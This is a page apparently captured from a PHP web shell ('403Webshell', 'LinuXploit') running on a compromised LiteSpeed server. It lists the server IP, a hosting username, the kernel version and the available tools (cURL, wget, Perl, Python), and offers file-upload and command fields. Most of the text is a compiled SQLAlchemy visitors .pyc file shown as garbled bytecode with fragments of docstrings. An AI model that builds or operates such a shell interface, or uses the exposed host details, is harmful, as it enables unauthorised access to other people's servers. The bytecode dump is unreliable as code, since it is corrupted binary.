403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.148.217.26
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/sqlalchemy/sql/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/sqlalchemy/sql/__pycache__/visitors.cpython-37.pyc
B

��4](�@s�dZddlmZddlZddlmZddlmZddd	d
ddd
dddddgZGdd�de�Z	dd�Z
Gdd�de�e	e��Z
Gdd	�d	e�ZGdd
�d
e�ZGdd�de�Zdd�Zdd
�Zdd�Zdd�Zdd�Zdd�Zd d�ZdS)!aOVisitor/traversal interface and library functions.

SQLAlchemy schema and expression constructs rely on a Python-centric
version of the classic "visitor" pattern as the primary way in which
they apply functionality.  The most common use of this pattern
is statement compilation, where individual expression classes match
up to rendering methods that produce a string result.   Beyond this,
the visitor system is also used to inspect expressions for various
information and patterns, as well as for usage in
some kinds of expression transformation.  Other kinds of transformation
use a non-visitor traversal system.

For many examples of how the visit system is used, see the
sqlalchemy.sql.util and the sqlalchemy.sql.compiler modules.
For an introduction to clause adaption, see
http://techspot.zzzeek.org/2008/01/23/expression-transformations/

�)�dequeN�)�exc)�util�
VisitableType�	Visitable�
ClauseVisitor�CloningVisitor�ReplacingCloningVisitor�iterate�iterate_depthfirst�traverse_using�traverse�traverse_depthfirst�cloned_traverse�replacement_traversecs eZdZdZ�fdd�Z�ZS)raeMetaclass which assigns a `_compiler_dispatch` method to classes
    having a `__visit_name__` attribute.

    The _compiler_dispatch attribute becomes an instance method which
    looks approximately like the following::

        def _compiler_dispatch (self, visitor, **kw):
            '''Look for an attribute named "visit_" + self.__visit_name__
            on the visitor, and call it with the same kw params.'''
            visit_attr = 'visit_%s' % self.__visit_name__
            return getattr(visitor, visit_attr)(self, **kw)

    Classes having no __visit_name__ attribute will remain unaffected.
    cs2|dkrt|d�rt|�tt|��|||�dS)Nr�__visit_name__)�hasattr�_generate_dispatch�superr�__init__)�clsZclsname�basesZclsdict)�	__class__��J/opt/alt/python37/lib64/python3.7/site-packages/sqlalchemy/sql/visitors.pyrBszVisitableType.__init__)�__name__�
__module__�__qualname__�__doc__r�
__classcell__rr)rrr2scsTd�jkrP�j}t|t�r8t�d|����fdd�}n�fdd�}d|_|�_dS)zYReturn an optimized visit dispatch function for the cls
    for use by the compiler.
    rzvisit_%scs>y�|�}Wn tk
r,t�|���YnX||f|�SdS)N)�AttributeErrorr�UnsupportedCompilationError)�self�visitor�kw�meth)r�getterrr�_compiler_dispatchUs
z._generate_dispatch.<locals>._compiler_dispatchcsJd|j}yt||�}Wn tk
r8t�|���YnX||f|�SdS)Nzvisit_%s)r�getattrr!rr")r#r$r%Z
visit_attrr&)rrrr(as
z�Look for an attribute named "visit_" + self.__visit_name__
            on the visitor, and call it with the same kw params.
            N)�__dict__r�
isinstance�str�operator�
attrgetterrr()rZ
visit_namer(r)rr'rrIs

rc@seZdZdZdS)rzTBase class for visitable objects, applies the
    ``VisitableType`` metaclass.

    N)rrrrrrrrrpsc@sNeZdZdZiZdd�Zdd�Zdd�Zej	dd	��Z
ed
d��Zdd
�Z
dS)rzZBase class for visitor objects which can traverse using
    the traverse() function.

    cKs6x0|jD]&}t|d|jd�}|r||f|�SqWdS)Nzvisit_%s)�visitor_iteratorr)r)r#�objr%�vr&rrr�traverse_singleszClauseVisitor.traverse_singlecCst||j�S)zatraverse the given expression structure, returning an iterator
        of all elements.

        )r�__traverse_options__)r#r0rrrr�szClauseVisitor.iteratecCst||j|j�S)z2traverse and visit the given expression structure.)rr3�
_visitor_dict)r#r0rrrr�szClauseVisitor.traversecCs:i}x0t|�D]$}|�d�rt||�||dd�<qW|S)N�visit_�)�dir�
startswithr))r#�visitors�namerrrr4�s

zClauseVisitor._visitor_dictccs$|}x|r|Vt|dd�}qWdS)z8iterate through this visitor and each 'chained' visitor.�_nextN)r))r#r1rrrr/�szClauseVisitor.visitor_iteratorcCst|j�d}||_|S)z�'chain' an additional ClauseVisitor onto this ClauseVisitor.

        the chained visitor will receive all visit events after this one.

        ���)�listr/r;)r#r$�tailrrr�chain�szClauseVisitor.chainN)rrrrr3r2rrrZmemoized_propertyr4�propertyr/r?rrrrrws		c@s eZdZdZdd�Zdd�ZdS)r	zaBase class for visitor objects which can traverse using
    the cloned_traverse() function.

    cs�fdd�|D�S)z`Apply cloned traversal to the given list of elements, and return
        the new list.

        csg|]}��|��qSr)r)�.0�x)r#rr�
<listcomp>�sz3CloningVisitor.copy_and_process.<locals>.<listcomp>r)r#Zlist_r)r#r�copy_and_process�szCloningVisitor.copy_and_processcCst||j|j�S)z2traverse and visit the given expression structure.)rr3r4)r#r0rrrr�szCloningVisitor.traverseN)rrrrrDrrrrrr	�sc@s eZdZdZdd�Zdd�ZdS)r
zfBase class for visitor objects which can traverse using
    the replacement_traverse() function.

    cCsdS)areceive pre-copied elements during a cloning traversal.

        If the method returns a new element, the element is used
        instead of creating a simple copy of the element.  Traversal
        will halt on the newly returned element if it is re-encountered.
        Nr)r#�elemrrr�replace�szReplacingCloningVisitor.replacecs�fdd�}t|�j|�S)z2traverse and visit the given expression structure.cs*x$�jD]}|�|�}|dk	r|SqWdS)N)r/rF)rEr1�e)r#rrrF�s
z1ReplacingCloningVisitor.traverse.<locals>.replace)rr3)r#r0rFr)r#rr�sz ReplacingCloningVisitor.traverseN)rrrrrFrrrrrr
�s	cCsj|jf|�}|s|gSt�}t|g�}x:|r`|��}|�|�x|jf|�D]}|�|�qLWq(Wt|�S)zwtraverse the given expression structure, returning an iterator.

    traversal is configured to be breadth-first.

    )�get_childrenr�popleft�append�iter)r0�opts�children�	traversal�stack�t�crrrr�s

cCsj|jf|�}|s|gSt|g�}t�}x:|r`|��}|�|�x|jf|�D]}|�|�qLWq(Wt|�S)zutraverse the given expression structure, returning an iterator.

    traversal is configured to be depth-first.

    )rHr�pop�
appendleftrJrK)r0rLrMrOrNrPrQrrrr�s

cCs,x&|D]}|�|jd�}|r||�qW|S)zSvisit the given expression structure using the given iterator of
    objects.

    N)�getr)�iteratorr0r9�targetr&rrrr
s

cCstt||�||�S)zXtraverse and visit the given expression structure using the default
     iterator.

    )r
r)r0rLr9rrrrscCstt||�||�S)z[traverse and visit the given expression structure using the
    depth-first iterator.

    )r
r)r0rLr9rrrrscs:i�t|�dg�������fdd��|dk	r6�|�}|S)zMclone the given expression structure, allowing
    modifications by visitors.�stop_oncsb|�kr|St|��krR|���t|�<}|j�d���|jd�}|rR||��t|�SdS)N)�clone)�id�_clone�_copy_internalsrTr)rE�newelemr&)rX�clonedrWr9rrrX+szcloned_traverse.<locals>.cloneN)�setrT)r0rLr9r)rXr]rWr9rr$scsDi�dd�|�dg�D������fdd��|dk	r@�|f|�}|S)zgclone the given expression structure, allowing element
    replacement by a given replacement function.cSsh|]}t|��qSr)rY)rArBrrr�	<setcomp>Asz'replacement_traverse.<locals>.<setcomp>rWcstt|��ksd|jkr|S�|�}|dk	r<��t|��|S|�krh|���|<}|jfd�i|���|SdS)NZno_replacement_traverserX)rYZ_annotations�addrZr[)rEr%r\)rXr]rFrWrrrXCs
z#replacement_traverse.<locals>.cloneN)rT)r0rLrFr)rXr]rFrWrr<s)r�collectionsrr-�rr�__all__�typerr�with_metaclass�objectrrr	r
rrr
rrrrrrrr�<module>s:'7

Youez - 2016 - github.com/yon3zu
LinuXploit